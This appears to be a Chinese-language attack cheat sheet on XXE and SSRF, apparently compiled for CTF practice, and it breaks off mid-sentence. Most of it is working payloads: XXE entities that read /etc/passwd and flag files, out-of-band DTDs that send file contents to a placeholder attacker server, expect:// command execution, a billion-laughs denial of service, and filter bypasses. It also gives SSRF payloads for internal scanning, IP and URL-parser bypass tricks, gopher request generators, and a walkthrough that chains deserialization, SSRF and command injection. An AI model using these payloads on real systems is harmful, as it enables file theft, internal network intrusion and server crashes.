<user><username>&rabbit;</username><password>123</password></user>
恶意引入外部参数实体
<?xml version="1.0" ?>
<!DOCTYPE test [
    <!ENTITY % file SYSTEM "http://vps-ip/hack.dtd">
    %file;
]>
<test>&hhh;</test>

<!ENTITY hhh SYSTEM 'file:///etc/passwd'>
无回显
OOB

先使用php://filter获取目标文件的内容,然后将内容以http请求发送到接受数据的服务器(攻击服务器)xxx.xxx.xxx。

<!DOCTYPE updateProfile [
    <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=./target.php">
    <!ENTITY % dtd SYSTEM "http://xxx.xxx.xxx/evil.dtd">
    %dtd;
    %send;
]>

evil.dtd的内容,内部的%号要进行实体编码成&#x25。

<!ENTITY % all
    "<!ENTITY &#x25; send SYSTEM 'http://xxx.xxx.xxx/?data=%file;'>"
>
%all;

访问接受数据的服务器中的日志信息,可以看到经过base64编码过的数据,解码后便可以得到数据。

基于报错

以下内容皆出自JrXnm师傅博客
Blind XXE 详解 + Google CTF 一道题目分析

基于报错的原理和OOB类似,OOB通过构造一个带外的url将数据带出,而基于报错是构造一个错误的url并将泄露文件内容放在url中,通过这样的方式返回数据。
所以和OOB的构造方式几乎只有url处不同,其他地方一模一样。

通过引入服务器文件
<?xml version="1.0"?>
<!DOCTYPE message [
	<!ENTITY % remote SYSTEM "http://blog.szfszf.top/xml.dtd">
	<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
	%remote;
	%send;
]>
<message>1234</message>

xml.dtd

<!-- xml.dtd -->
<!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'file:///hhhhhhh/%file;'>">
%start;
通过引入本地文件

如果目标主机的防火墙十分严格,不允许我们请求外网服务器dtd呢?由于XML的广泛使用,其实在各个系统中已经存在了部分DTD文件。按照上面的理论,我们只要是从外部引入DTD文件,并在其中定义一些实体内容就行。

<?xml version="1.0"?>
<!DOCTYPE message [
	<!ENTITY % remote SYSTEM "/usr/share/yelp/dtd/docbookx.dtd">
	<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
	<!ENTITY % ISOamso '
		<!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; send SYSTEM &#x27;file://hhhhhhhh/?&#x25;file;&#x27;>">
		&#x25;eval;
		&#x25;send;
	'> 
	%remote;
]>
<message>1234</message>

我们仔细看一下很好理解,第一个调用的参数实体是%remote,在/usr/share/yelp/dtd/docbookx.dtd文件中调用了%ISOamso;,在ISOamso定义的实体中相继调用了eval、和send

嵌套参数实体

我发现,虽然W3C协议是不允许在内部的实体声明中引用参数实体,但是很多XML解析器并没有很好的执行这个检查。几乎所有XML解析器能够发现如下这种两层嵌套式的

<?xml version="1.0"?>
<!DOCTYPE message [
	<!ENTITY % file SYSTEM "file:///etc/passwd">  
	<!ENTITY % start "<!ENTITY &#x25; send SYSTEM 'http://myip/?%file;'>">
	%start;
	%send;
]>
<message>10</message>
基于报错的三层嵌套参数实体XXE
<?xml version="1.0"?>
<!DOCTYPE message [
	<!ELEMENT message ANY>
	<!ENTITY % para1 SYSTEM "file:///flag">
	<!ENTITY % para '
		<!ENTITY &#x25; para2 "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///&#x25;para1;&#x27;>">
		&#x25;para2;
	'>
	%para;
]>
<message>10</message>

img

内网探测

和读文件差不多,只不过把URI改成内网机器地址

<?xml version="1.0" encoding="UTF-8"?>        
<!DOCTYPE foo [ 
<!ELEMENT foo ANY >
<!ENTITY rabbit SYSTEM "http://127.0.0.1/1.txt" >
]>
<user><firstname>&rabbit;</firstname><lastname>666</lastname></user>

RCE

XXE漏洞利用技巧:从XML到远程代码执行
这种情况很少发生,但有些情况下攻击者能够通过XXE执行代码,这主要是由于配置不当/开发内部应用导致的。如果我们足够幸运,并且PHP expect模块被加载到了易受攻击的系统或处理XML的内部应用程序上,那么我们就可以执行如下的命令:

<?xml version="1.0"?>
<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "expect://id" >]>
<catalog>
   <core id="test101">
      <author>John, Doe</author>
      <title>I love XML</title>
      <category>Computers</category>
      <price>9.99</price>
      <date>2018-10-01</date>
      <description>&yj;</description>
   </core>
</catalog>

响应:

{"error": "no results for description uid=0(root) gid=0(root) groups=0(root)...

DOS

XXE萌新进阶全攻略

<?xml version="1.0"?>
<!DOCTYPE lolz [
  <!ENTITY lol "lol">
  <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
  <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
  <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
  <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
  <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
  <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
  <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
  <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

此测试可以在内存中将小型 XML 文档扩展到超过 3GB 而使服务器崩溃。

如果 XML 解析器尝试使用/dev/random文件中的内容来替代实体,则下面的代码会使服务器(使用 UNIX 系统)崩溃。

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ 
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///dev/random" >]>
<foo>&yj;</foo>

绕过

ENTITY``SYSTEM``file等关键词被过滤

使用编码方式绕过:UTF-16BE
cat payload.xml | iconv -f utf-8 -t utf-16be > payload.8-16be.xml

若http被过滤,可以用

data://协议绕过

<?xml version="1.0" ?>
<!DOCTYPE test [
    <!ENTITY % a " <!ENTITY %  b SYSTEM 'http://47.47.47.47:8200/hack.dtd'> "> 
    %a;
    %b;
]>
<test>&hhh;</test>

file://协议加文件上传

<?xml version="1.0" ?>
<!DOCTYPE test [
    <!ENTITY % a SYSTEM "file:///var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg">
    %a;
]>
<!--上传文件-->
<!ENTITY % b SYSTEM 'http://118.25.14.40:8200/hack.dtd'>

php://filter协议加文件上传

<?xml version="1.0" ?>
<!DOCTYPE test [
    <!ENTITY % a SYSTEM "php://filter/resource=/var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg">
    %a;
]>
    <test>
        &hhh;
    </test>

<!--上传文件-->
<!ENTITY hhh SYSTEM 'php://filter/read=convert.base64-encode/resource=./flag.php'>
<?xml version="1.0" ?>
<!DOCTYPE test [
    <!ENTITY % a SYSTEM "php://filter/read=convert.base64-decode/resource=/var/www/uploads/cfcd208495d565ef66e7dff9f98764da.jpg">
    %a;
]>
    <test>
        &hhh;
    </test>
<!--上传文件-->
PCFFTlRJVFkgaGhoIFNZU1RFTSAncGhwOi8vZmlsdGVyL3JlYWQ9Y29udmVydC5iYXNlNjQtZW5jb2RlL3Jlc291cmNlPS4vZmxhZy5waHAnPg==

利用

svg

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE note [
<!ENTITY file SYSTEM "file:///proc/self/cwd/flag.txt" >
]>
<svg height="100" width="1000">
  <text x="10" y="20">&file;</text>
</svg>

PS:从当前文件夹读取文件可以使用/proc/self/cwd

excel

用excel创建一个空白的xlsx,然后解压

mkdir XXE && cd XXE
unzip ../XXE.xlsx

[Content_Types].xml改成恶意xml,再压缩回去:zip -r ../poc.xlsx *

CSRF // TODO

SSRF

基础

容易出现SSRF的地方有:

  1. 社交分享功能:获取超链接的标题等内容进行显示
  2. 转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览
  3. 在线翻译:给网址翻译对应网页的内容
  4. 图片加载/下载:例如富文本编辑器中的点击下载图片到本地、通过URL地址加载或下载图片
  5. 图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用具体验
  6. 云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试
  7. 网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作
  8. 数据库内置功能:数据库的比如mongodb的copyDatabase函数
  9. 邮件系统:比如接收邮件服务器地址
  10. 编码处理、属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等
  11. 未公开的api实现以及其他扩展调用URL的功能:可以利用google语法加上这些关键字去寻找SSRF漏洞。一些的url中的关键字有:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain……
  12. 从远程服务器请求资源

应用

  1. 对外网、服务器所在内网、服务器本地进行端口扫描,获取一些服务的banner信息等。
  2. 攻击运行在内网或服务器本地的其他应用程序,如redis、mysql等。
  3. 对内网Web应用进行指纹识别,识别企业内部的资产信息。
  4. 攻击内外网的Web应用,主要是使用HTTP GET/POST请求就可以实现的攻击,如sql注入、文件上传等。
  5. 利用file协议读取服务器本地文件等。
  6. 进行跳板攻击等。

相关函数和类

  • file_get_contents():将整个文件或一个url所指向的文件读入一个字符串中。
  • readfile():输出一个文件的内容。
  • fsockopen():打开一个网络连接或者一个Unix 套接字连接。
  • curl_exec():初始化一个新的会话,返回一个cURL句柄,供curl_setopt(),curl_exec()和curl_close() 函数使用。
  • fopen():打开一个文件文件或者 URL。

上述函数函数使用不当会造成SSRF漏洞。 此外,PHP原生类SoapClient在触发反序列化时可导致SSRF。

file_get_contents()

构造类似ssrf.php?url=../../../../../etc/passwd的paylaod即可读取服务器本地的任意文件。

// ssrf.php
<?php
$url = $_GET['url'];;
echo file_get_contents($url);
?>

readfile()

与file_get_contents()函数相似。

fsockopen()

构造ssrf.php?url=www.baidu.com即可成功触发ssrf并返回百度主页

// ssrf.php
<?php
$host=$_GET['url'];
$fp = fsockopen($host, 80, $errno, $errstr, 30);
if (!$fp) {
    echo "$errstr ($errno)<br />\n";
} else {
    $out = "GET / HTTP/1.1\r\n";
    $out .= "Host: $host\r\n";
    $out .= "Connection: Close\r\n\r\n";
    fwrite($fp, $out);
    while (!feof($fp)) {
        echo fgets($fp, 128);
    }
    fclose($fp);
}
?>

curl_exec()

curl_init(url)函数初始化一个新的会话,返回一个cURL句柄,供curl_setopt(),curl_exec()和curl_close() 函数使用。

测试代码:

// ssrf.php
<?php 
if (isset($_GET['url'])){
	$link = $_GET['url'];
	$curlobj = curl_init(); // 创建新的 cURL 资源
	curl_setopt($curlobj, CURLOPT_POST, 0);
	curl_setopt($curlobj,CURLOPT_URL,$link);
	curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1); // 设置 URL 和相应的选项
	$result=curl_exec($curlobj); // 抓取 URL 并把它传递给浏览器
	curl_close($curlobj); // 关闭 cURL 资源,并且释放系统资源
 
	// $filename = './curled/'.rand().'.txt';
	// file_put_contents($filename, $result); 
	echo $result;
}
?>

构造ssrf.php?url=www.baidu.com即可成功触发ssrf并返回百度主页:

image-20210112231108247

SoapClient

SOAP是简单对象访问协议,简单对象访问协议(SOAP)是一种轻量的、简单的、基于 XML 的协议,它被设计成在 WEB 上交换结构化的和固化的信息。PHP 的 SoapClient 就是可以基于SOAP协议可专门用来访问 WEB 服务的 PHP 客户端。该类的构造函数如下:

public SoapClient :: SoapClient(mixed $wsdl [array $options ]) // 第一个参数是用来指明是否是wsdl模式。第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而 uri 是SOAP服务的目标命名空间。

知道上述两个参数的含义后,就很容易构造出SSRF的利用Payload了。我们可以设置第一个参数为null,然后第二个参数为一个包含location和uri的数组,location选项的值设置为target_url:

// ssrf.php
<?php
$a = new SoapClient(null,array('uri'=>'http://47.xxx.xxx.107:2333', 'location'=>'http://47.xxx.xxx.107:2333/aaa'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a();    // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>

47.xxx.xxx.72监听2333端口,访问ssrf.php,即可在47.xxx.xxx.72上得到访问的数据,如下图所示,ssrf触发成功:

image-20210112234821125

由于它仅限于http/https协议,所以用处不是很大。但是如果这里的http头部还存在CRLF漏洞,那么我们就可以进行ssrf+CRLF,注入或修改一些http请求头,详情请看:《SoapClient+CRLF组合拳进行SSRF》

SSRF漏洞利用的相关协议

  • file协议: 在有回显的情况下,利用 file 协议可以读取任意文件的内容
  • dict协议:泄露安装软件版本信息,查看端口,操作内网redis服务等
  • gopher协议:gopher支持发出GET、POST请求。可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell
  • http/s协议:探测内网主机存活

常见利用方式

SSRF的利用主要就是读取内网文件、探测内网主机存活、扫描内网端口、攻击内网其他应用等,而这些利用的手法无一不与这些协议息息相关。

以下几个演示所用的测试代码:

// ssrf.php
<?php 
if (isset($_GET['url'])){
	$link = $_GET['url'];
	$curlobj = curl_init(); // 创建新的 cURL 资源
	curl_setopt($curlobj, CURLOPT_POST, 0);
	curl_setopt($curlobj,CURLOPT_URL,$link);
	curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1); // 设置 URL 和相应的选项
	$result=curl_exec($curlobj); // 抓取 URL 并把它传递给浏览器
	curl_close($curlobj); // 关闭 cURL 资源,并且释放系统资源
 
	// $filename = './curled/'.rand().'.txt';
	// file_put_contents($filename, $result); 
	echo $result;
}
?>

读取内网文件(file协议)

我们构造如下payload,即可将服务器上的本地文件及网站源码读取出来:

ssrf.php?url=file:///etc/passwd
ssrf.php?url=file:///var/www/html/flag.php

image-20210113000529370

image-20210113000640979

探测内网主机存活(http/s协议)

一般是先想办法得到目标主机的网络配置信息,如读取/etc/hosts、/proc/net/arp、/proc/net/fib_trie等文件,从而获得目标主机的内网网段并进行爆破。

域网IP地址范围分三类,以下IP段为内网IP段:

  • C类:192.168.0.0 - 192.168.255.255
  • B类:172.16.0.0 - 172.31.255.255
  • A类:10.0.0.0 - 10.255.255.255

测试环境如下:

image-20210113190506825

假设WEB服务器Ubuntu上面存在上述所说的SSRF漏洞,我们构造如下payload,便可通过Ubuntu服务器发送请求去探测内网存活的主机:

ssrf.php?url=http://192.168.52.1
ssrf.php?url=http://192.168.52.6
ssrf.php?url=http://192.168.52.25
......

为了方便,我们可以借助burpsuite的Intruder模块进行爆破,如下所示:

image-20210113120505690

image-20210113120551977

将爆破的线程尽可能设的小一些。开始爆破后即可探测到目标内网中存在如下两个存活的主机(192.168.52.130和192.168.52.131):

image-20210113120806794

扫描内网端口(http/s和dict协议)

同样是上面那个测试环境:

image-20210113190455756

我们利用dict协议构造如下payload即可查看内网主机上开放的端口及端口上运行服务的版本信息等:

ssrf.php?url=dict://192.168.52.131:6379/info   // redis
ssrf.php?url=dict://192.168.52.131:80/info     // http
ssrf.php?url=dict://192.168.52.130:22/info   // ssh

image-20210113190244954

image-20210113122530377

同样可以借助burpsuite来爆破内网主机上的服务。

相关绕过姿势

对于SSRF的限制大致有如下几种:

  • 限制请求的端口只能为Web端口,只允许访问HTTP和HTTPS的请求。
  • 限制域名只能为http://www.xxx.com
  • 限制不能访问内网的IP,以防止对内网进行攻击。
  • 屏蔽返回的详细信息。

利用HTTP基本身份认证的方式绕过

如果目标代码限制访问的域名只能为 http://www.xxx.com,那么我们可以采用HTTP基本身份认证的方式绕过。即@:http://www.xxx.com@www.evil.com

利用302跳转绕过内网IP

绕过对内网ip的限制我们可以利用302跳转的方法,有以下两种。

(1)网络上存在一个很神奇的服务,网址为 http://xip.io,当访问这个服务的任意子域名的时候,都会重定向到这个子域名,举个例子:

当我们访问:http://127.0.0.1.xip.io/flag.php时,实际访问的是http://127.0.0.1/1.php。像这种网址还有http://nip.iohttp://sslip.io

如下示例(flag.php仅能从本地访问):

image-20210113124813254

(2)短地址跳转绕过,这里也给出一个网址 https://4m.cn/:

image-20201027163528110

直接使用生成的短连接 https://4m.cn/FjOdQ就会自动302跳转到 http://127.0.0.1/flag.php上,这样就可以绕过WAF了:

image-20210113124727560

进制的转换绕过内网IP

可以使用一些不同的进制替代ip地址,从而绕过WAF,这里给出个从网上扒的php脚本可以一键转换:

<?php
$ip = '127.0.0.1';
$ip = explode('.',$ip);
$r = ($ip[0] << 24) | ($ip[1] << 16) | ($ip[2] << 8) | $ip[3] ;
if($r < 0) {
$r += 4294967296;
}
echo "十进制:";     // 2130706433
echo $r;
echo "八进制:";     // 0177.0.0.1
echo decoct($r);
echo "十六进制:";   // 0x7f.0.0.1
echo dechex($r);
?>

其他各种指向127.0.0.1的地址

http://localhost/         # localhost就是代指127.0.0.1
http://0/                 # 0在window下代表0.0.0.0,而在liunx下代表127.0.0.1
http://[0:0:0:0:0:ffff:127.0.0.1]/    # 在liunx下可用,window测试了下不行
http://[::]:80/           # 在liunx下可用,window测试了下不行
http://127。0。0。1/       # 用中文句号绕过
http://①②⑦.⓪.⓪.①
http://127.1/
http://127.00000.00000.001/ # 0的数量多一点少一点都没影响,最后还是会指向127.0.0.1

利用不存在的协议头绕过指定的协议头

file_get_contents()函数的一个特性,即当PHP的file_get_contents()函数在遇到不认识的协议头时候会将这个协议头当做文件夹,造成目录穿越漏洞,这时候只需不断往上跳转目录即可读到根目录的文件。(include()函数也有类似的特性)

测试代码:

// ssrf.php
<?php
highlight_file(__FILE__);
if(!preg_match('/^https/is',$_GET['url'])){
die("no hack");
}
echo file_get_contents($_GET['url']);
?>

上面的代码限制了url只能是以https开头的路径,那么我们就可以如下:

httpsssss://

此时file_get_contents()函数遇到了不认识的伪协议头“httpsssss://”,就会将他当做文件夹,然后再配合目录穿越即可读取文件:

ssrf.php?url=httpsssss://../../../../../../etc/passwd

image-20210113130534208

这个方法可以在SSRF的众多协议被禁止且只能使用它规定的某些协议的情况下来进行读取文件。

利用URL的解析问题

该思路来自Orange Tsai成员在2017 BlackHat 美国黑客大会上做的题为《A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages》的分享。主要是利用readfile和parse_url函数的解析差异以及curl和parse_url解析差异来进行绕过。

(1)利用readfile和parse_url函数的解析差异绕过指定的端口

测试代码:

// ssrf.php
<?php
$url = 'http://'. $_GET[url];
$parsed = parse_url($url);
if( $parsed[port] == 80 ){  // 这里限制了我们传过去的url只能是80端口的
	readfile($url);
} else {
	die('Hacker!');
}

用python在当前目录下起一个端口为11211的WEB服务:

image-20210113133210683

上述代码限制了我们传过去的url只能是80端口的,但如果我们想去读取11211端口的文件的话,我们可以用以下方法绕过:

ssrf.php?url=127.0.0.1:11211:80/flag.txt

image-20210113133242461

如上图所示成功读取了11211端口中的flag.txt文件,下面用BlackHat的图来说明原理:

1610601312_5fffd36035478c41c2c18.png?1610601312696

从上图中可以看出readfile()函数获取的端口是最后冒号前面的一部分(11211),而parse_url()函数获取的则是最后冒号后面的的端口(80),利用这种差异的不同,从而绕过WAF。

这两个函数在解析host的时候也有差异,如下图:

1610601347_5fffd383dfc1a3982425f.png?1610601348433

readfile()函数获取的是@号后面一部分(evil.com),而parse_url()函数获取的则是@号前面的一部分(google.com),利用这种差异的不同,我们可以绕过题目中parse_url()函数对指定host的限制。

(2)利用curl和parse_url的解析差异绕指定的host

原理如下:

1610601386_5fffd3aa565a51587d90c.png?1610601386867

从上图中可以看到curl()函数解析的是第一个@后面的网址,而parse_url()函数解析的是第二个@后面的网址。利用这个原理我们可以绕过题目中parse_url()函数对指定host的限制。

测试代码:

<?php
highlight_file(__FILE__);
function check_inner_ip($url)
{
    $match_result=preg_match('/^(http|https)?:\/\/.*(\/)?.*$/',$url);
    if (!$match_result)
    {
        die('url fomat error');
    }
    try
    {
        $url_parse=parse_url($url);
    }
    catch(Exception $e)
    {
        die('url fomat error');
        return false;
    }
    $hostname=$url_parse['host'];
    $ip=gethostbyname($hostname);
    $int_ip=ip2long($ip);
    return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16;// 检查是否是内网ip
}
function safe_request_url($url)
{
    if (check_inner_ip($url))
    {
        echo $url.' is inner ip';
    }
    else
    {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        $output = curl_exec($ch);
        $result_info = curl_getinfo($ch);
        if ($result_info['redirect_url'])
        {
            safe_request_url($result_info['redirect_url']);
        }
        curl_close($ch);
        var_dump($output);
    }
}
$url = $_GET['url'];
if(!empty($url)){
    safe_request_url($url);
}
?>

上述代码中可以看到check_inner_ip函数通过url_parse()函数检测是否为内网IP,如果不是内网 IP ,则通过curl()请求 url 并返回结果,我们可以利用curl和parse_url解析的差异不同来绕过这里的限制,让parse_url()处理外部网站网址,最后curl()请求内网网址。paylaod如下:

ssrf.php?url=http://@127.0.0.1:80@www.baidu.com/flag.php

image-20210113134443846

的 [2020 首届“祥云杯”网络安全大赛]doyouknowssrf这道题利用的就是这个思路。

常见攻击方式(Gopher协议)

Gopher协议在SSRF中的利用

Gopher是Internet上一个非常有名的信息查找系统,它将Internet上的文件组织成某种索引,很方便地将用户从Internet的一处带到另一处。在WWW出现之前,Gopher是Internet上最主要的信息检索工具,Gopher站点也是最主要的站点,使用TCP 70端口。但在WWW出现后,Gopher失去了昔日的辉煌。

现在的Gopher协议已经很少有人再使用它了,但是该协议在SSRF中却可以发挥巨大的作用,可以说是SSRF中的万金油。由于Gopher协议支持发出GET、POST请求,我们可以先截获GET请求包和POST请求包,再构造成符合Gopher协议请求的payload进行SSRF利用,甚至可以用它来攻击内网中的Redis、MySql、FastCGI等应用,这无疑大大扩展了我们的SSRF攻击面。

Gopher协议格式
URL: gopher://<host>:<port>/<gopher-path>_后接TCP数据流

# 注意不要忘记后面那个下划线"_",下划线"_"后面才开始接TCP数据流,如果不加这个"_",那么服务端收到的消息将不是完整的,该字符可随意写。
  • gopher的默认端口是70
  • 如果发起POST请求,回车换行需要使用%0d%0a来代替%0a,如果多个参数,参数之间的&也需要进行URL编码

那么如何利用Gopher发送HTTP的请求呢?例如GET请求。我们直接发送一个原始的HTTP包不就行了吗。在gopher协议中发送HTTP的数据,需要以下三步:

  1. 抓取或构造HTTP数据包
  2. URL编码、将回车换行符%0a替换为%0d%0a
  3. 发送符合gopher协议格式的请求
利用Gopher协议发送HTTP GET请求
// echo.php
<?php
echo "Hello ".$_GET["whoami"]."\n"
?>

构造payload。一个典型的GET型的HTTP包类似如下:

GET /echo.php?whoami=Bunny HTTP/1.1
Host: 47.xxx.xxx.107

然后利用以下脚本进行一步生成符合Gopher协议格式的payload:

import urllib.parse
payload =\
"""GET /echo.php?whoami=Bunny HTTP/1.1
Host: 47.xxx.xxx.107
"""  
# 注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://47.xxx.xxx.107:80/'+'_'+new
print(result)  # gopher://47.11.11.107:80/_GET%20/echo.php%3Fwhoami%3DBunny%20HTTP/1.1%0D%0AHost%3A%2047.11.11.107%0D%0A
# 问号(?)需要转码为URL编码,也就是%3f;回车换行要变为%0d%0a,但如果直接用工具转,可能只会有%0a;在HTTP包的最后要加%0d%0a,代表消息结束(具体可研究HTTP包结束)

然后执行:curl gopher://47.xxx.xxx.107:80/_GET%20/echo.php%3Fwhoami%3DBunny%20HTTP/1.1%0D%0AHost%3A%2047.xxx.xxx.107%0D%0A,返回得到 Hello Bunny

利用Gopher协议发送HTTP POST请求
// echo.php
<?php
echo "Hello ".$_POST["whoami"]."\n"
?>

接下来我们构造payload。一个典型的POST型的HTTP包类似如下:

POST /echo.php HTTP/1.1
Host: 47.xxx.xxx.107
Content-Type: application/x-www-form-urlencoded
Content-Length: 12

whoami=Bunny

注意:上面那四个HTTP头是POST请求必须的,即POST、Host、Content-Type和Content-Length。如果少了会报错的,而GET则不用。并且,特别要注意Content-Length应为字符串“whoami=Bunny”的长度。

最后用脚本我们将上面的POST数据包进行URL编码并改为gopher协议

import urllib.parse
payload =\
"""POST /echo.php HTTP/1.1
Host: 47.xxx.xxx.107
Content-Type: application/x-www-form-urlencoded
Content-Length: 12

whoami=Bunny
"""  
# 注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://47.xxx.xxx.107:80/'+'_'+new
print(result)

执行 curl gopher://47.xxx.xxx.107:80/_POST%20/echo.php%20HTTP/1.1%0D%0AHost%3A%2047.xxx.xxx.107%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2012%0D%0A%0D%0Awhoami%3DBunny%0D%0A成功用POST方法传参并输出“Hello Bunny”。

[2020 科来杯初赛]Web1这道题就是典型的运用Gopher发送HTTP POST请求进行SSRF攻击的思路。

[2020 科来杯初赛]Web1

进入题目后即给处源码:

image-20200921134331679

这里很明显就是一个SSRF,url过滤了fileftp,但是必须要包含127.0.0.1。并且,我们还发现一个tool.php页面,但是该页面进去之后仅显示一个“Not localhost”,我们可以用这个ssrf将tool.php的源码读住来,构造反序列化payload:

<?php
class Welcome {
protected $url = "http://127.0.0.1/tool.php";

}
$poc = new Welcome;
//echo serialize($poc);
echo urlencode(serialize($poc));
?>

生成:

O%3A7%3A%22Welcome%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00url%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Ftool.php%22%3B%7D

// O:7:"Welcome":1:{s:6:"*url";s:25:"http://127.0.0.1/tool.php";}

将Welcome后面表示对象属性个数的“1”改为“2”即可绕过__destruct()的限制。

image-20200921134812338

读出来tool.php的源码为:

#tool.php
<?php
error_reporting(0);
$respect_show_ping = function($params) {
   extract($params);
   $ip = isset($ip) ? $ip :'127.0.0.1';
   system('ping -c 1 '.$ip);
};
if ($_SERVER["REMOTE_ADDR"] !== "127.0.0.1"){
   echo '<h2>Not localhost!</h2>';
}
else {
   highlight_file(__FILE__);
   $respect_show_ping($_POST);
}
?>

可知tool.php页面存在命令执行漏洞。当REMOTE_ADDR为127.0.0.1时才可执行命令。REMOTE_ADDR头获取的是客户端的真实的IP,但是这个客户端是相对服务器而言的,也就是实际上与服务器相连的机器的IP(建立tcp连接的那个),这个值是不可以伪造的,如果没有代理的话,这个值就是用户实际的IP值,有代理的话,用户的请求会经过代理再到服务器,这个时候REMOTE_ADDR会被设置为代理机器的IP值。而X-Forwarded-For的值是可以篡改的。

既然这里要求当REMOTE_ADDR为127.0.0.1时才可执行命令,且REMOTE_ADDR的值是不可以伪造的,我们要想让REMOTE_ADDR的值为127.0.0.1,不可能通过修改X-Forwarded-For的值来实现,我们要利用SSRF。

我们可以利用index.php页面的SSRF利用gopher协议发POST包请求tool.php,进行命令执行。这样,整个攻击过程是在服务端进行的REMOTE_ADDR的值也就是127.0.0.1了。

SSRF,利用gopher发POST包,进行命令执行

import urllib.parse
test =\
"""POST /tool.php HTTP/1.1
Host: 127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 13

ip=;cat /flag
"""  
#注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(test)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://127.0.0.1:80/'+'_'+new
print(result)

这里因为我们是把payload发送到服务端让服务端执行,所以我们的Host和gopher里的Host为127.0.0.1。

生成gopher协议格式的payload为:

gopher://127.0.0.1:80/_POST%20/tool.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2013%0D%0A%0D%0Aip%3D%3Bcat%20/flag%0D%0A

然后构造反序列化exp:

<?php
class Welcome {
    protected $url = "gopher://127.0.0.1:80/_POST%20/tool.php%20HTTP/1.1%0D%0AHost%3A%20127.0.0.1%0D%0AContent-Type%3A%20application/x-www-form-urlencoded%0D%0AContent-Length%3A%2013%0D%0A%0D%0Aip%3D%3Bcat%20/flag%0D%0A";
    
}
$poc = new Welcome;
//echo serialize($poc);
echo urlencode(serialize($poc));
?>

生成payload:

O%3A7%3A%22Welcome%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00url%22%3Bs%3A197%3A%22gopher%3A%2F%2F127.0.0.1%3A80%2F_POST%2520%2Ftool.php%2520HTTP%2F1.1%250D%250AHost%253A%2520127.0.0.1%250D%250AContent-Type%253A%2520application%2Fx-www-form-urlencoded%250D%250AContent-Length%253A%252013%250D%250A%250D%250Aip%253D%253Bcat%2520%2Fflag%250D%250A%22%3B%7D

同样将Welcome后面表示对象属性个数的“1”改为“2”绕过__destruct()的限制后执行:

image-20200921135622488

如上图,命令执行成功。

**注意:**这里要注意的是,我们发送的是POST包,而如果发送的是GET包的话,当这个URL经过服务器时,payload部分会被自动url解码,%20等字符又会被转码为空格。所以,curl_exec在发起gopher时用的就是没有进行URL编码的值,就导致了现在的情况,所以我们要对payload进行二次URL编码。编码结果类似如下:

